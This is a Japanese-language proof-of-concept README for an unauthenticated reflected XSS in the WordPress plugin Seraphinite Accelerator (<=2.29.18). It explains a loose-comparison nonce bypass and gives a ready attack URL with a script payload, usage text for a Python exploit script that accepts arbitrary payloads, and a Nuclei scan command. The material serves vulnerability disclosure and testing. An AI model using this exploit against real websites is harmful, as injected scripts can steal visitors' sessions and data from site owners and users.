
Seraphinite Accelerator <= 2.29.18 - 反射型クロスサイトスクリプティング(XSS)のPoC
このプラグインは、内部の「prepare page」リクエストに seraph_accel_prep パラメータ(base64エンコードされたJSON)内のHMACで署名しますが、PHPの緩い比較 != を使用します。JSONブール値の true を nonce として送信すると比較が常に合格し、その後 selfTest フィールドがエスケープされずに selfTest-<value> としてエコーバックされます。
認証不要の単一URL:
http://TARGET/?seraph_accel_prep=<base64 of {"_tm":"1","nonce":true,"selfTest":"<script>alert(document.domain)</script>"}>
Python(pip install requests が必要):
usage: seraph_accel_xss.py [-h] --url URL [--payload PAYLOAD] [--timeout TIMEOUT]
Seraphinite Accelerator (WordPress) <= 2.29.18
options:
-h, --help show this help message and exit
--url URL target site, e.g. http://target-site.com
--payload PAYLOAD XSS payload (default: <script>alert(document.domain)</script>)
--timeout TIMEOUT seconds (default: 30)
Nuclei:
nuclei -u http://target-site.com -t seraphinite-accelerator-prep-xss.yaml -timeout 10
脆弱なコードパスは応答前に5秒間スリープするため、-timeout 10 が必要です。